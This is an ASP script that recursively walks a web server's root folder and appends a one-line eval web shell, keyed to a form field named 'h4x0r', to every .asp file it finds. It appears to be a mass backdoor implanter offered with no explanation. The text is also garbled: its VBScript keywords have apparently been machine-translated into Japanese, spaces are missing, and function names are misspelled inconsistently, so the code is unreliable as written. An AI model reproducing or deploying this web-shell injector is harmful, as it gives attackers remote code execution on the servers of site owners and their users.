<％
薄暗い
dimintfile
server.scripttimeout = 600
ph = server.mappath（ "/"）
subinsertallfiles（パス）
setFSO = createObject（ "Scripting.filesystemObject"）
onerrorresumenext
setf = fso.getFolder（PATH）
setfc2 = f.files
foreachmyfileinfc2
iflcase（fso.getextensionname（path＆ ""＆myfile.name））= "asp" then
setFS1 = createObject（ "Scripting.filesystemObject"）
settfile = fs1.opentextfile（path＆ ""＆myfile.name、8、false）
tfile.writeLine "<scriptrunat = serverlanguage = javascript> eval（request.form（ 'h4x0r'）+''）</script>"
それ以外
IntersAllFiles（NewPath）
endif
tfile.close
次
setfsubfolers = f.subfolders
foreachf1infsubfolers
NewPath = PATH＆ ""＆f1.Name
IntersAllFiles（NewPath）
次
settfile =何も
setfso =何もない
Endingub
％>
<％
callinsertallfiles（ph）
％>